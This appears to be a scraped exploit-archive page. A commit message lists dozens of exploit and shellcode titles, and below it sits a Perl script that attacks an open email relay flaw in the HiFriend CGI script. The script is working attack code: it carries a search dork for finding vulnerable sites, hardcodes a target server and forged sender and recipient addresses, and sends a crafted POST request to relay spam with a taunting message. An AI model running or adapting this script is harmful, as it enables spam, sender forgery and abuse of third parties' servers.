880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
85 lines
No EOL
2.6 KiB
Perl
Executable file
85 lines
No EOL
2.6 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/30320/info
|
||
|
||
HiFriend is prone to an open-email-relay vulnerability.
|
||
|
||
An attacker could exploit this issue by constructing a script that would send unsolicited bulk email to an unrestricted amount of email addresses with a forged email address.
|
||
|
||
#!/usr/bin/perl
|
||
=pod
|
||
----------------------------
|
||
------Header Injection------
|
||
----------------------------
|
||
|
||
Script: hifriend.pl
|
||
Vendor: Hibyte Software
|
||
Version: The free one you get from many webpages
|
||
Dork: "hifriend.pl" + "cgi-bin"
|
||
|
||
Found & coded by Perforin
|
||
|
||
www.DarK-CodeZ.com
|
||
www.vx.perforin.de.vu
|
||
|
||
|
||
Greetz to: SkyOut,Sph1nX,zer0day,Rayden,Neo2k8,Cactus,MereX and all my Friends out there!
|
||
=cut
|
||
|
||
use strict;
|
||
use warnings;
|
||
use IO::Socket::INET;
|
||
|
||
|
||
my($MSG,$lngt,$data,$sock,$add,%config);
|
||
|
||
# Here%GŽ%@s your Message
|
||
|
||
$MSG = <<"TXT";
|
||
arf arf arf
|
||
We gotcha!
|
||
|
||
Visit http://DarK-CodeZ.com
|
||
|
||
German VX Community
|
||
|
||
TXT
|
||
|
||
# No im not making a friendly Code where you just have to start and type your shit in.
|
||
# Use brain.exe to fill in the stuff you need.
|
||
|
||
%config = (
|
||
Server => "sweetscents.com",
|
||
Path => "/cgi-bin/",
|
||
From => "admin".chr(64)."freehostia.com",
|
||
To => "Luxpower".chr(64)."web.de",
|
||
Name => "Perforin",
|
||
MSG => "$MSG"
|
||
);
|
||
|
||
|
||
$sock = new IO::Socket::INET(PeerAddr => $config{'Server'},
|
||
PeerPort => 80,
|
||
Proto => 'tcp',
|
||
Timeout => 1) || die("[+] Could not connect!\n");
|
||
|
||
|
||
$data = 'refpage=&reftitle=&Friends='.$config{'To'}.'&SenderName='.$config{'Name'}.'&From='.$config{'From'}.'&PersonalMsg='.$config{'MSG'};
|
||
|
||
$lngt = length($data);
|
||
|
||
print $sock "POST $config{'Path'}hifriend.pl?sp=y HTTP/1.1\n";
|
||
print $sock "Host: $config{'Server'}\n";
|
||
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\n";
|
||
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
|
||
print $sock "Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\n";
|
||
print $sock "Accept-Encoding: gzip,deflate\n";
|
||
print $sock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n";
|
||
print $sock "Keep-Alive: 300\n";
|
||
print $sock "Connection: keep-alive\n";
|
||
print $sock "Referer: $config{'Server'}/cgi-bin/hifriend.pl\n";
|
||
print $sock "Accept-Language: en-us\n";
|
||
print $sock "Content-Type: application/x-www-form-urlencoded\n";
|
||
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7. Gecko/20070421 Firefox/2.0.0\n";
|
||
print $sock "Content-Length: $lngt\n\n";
|
||
print $sock "$data\n";
|
||
|
||
print "[+] Done!"; |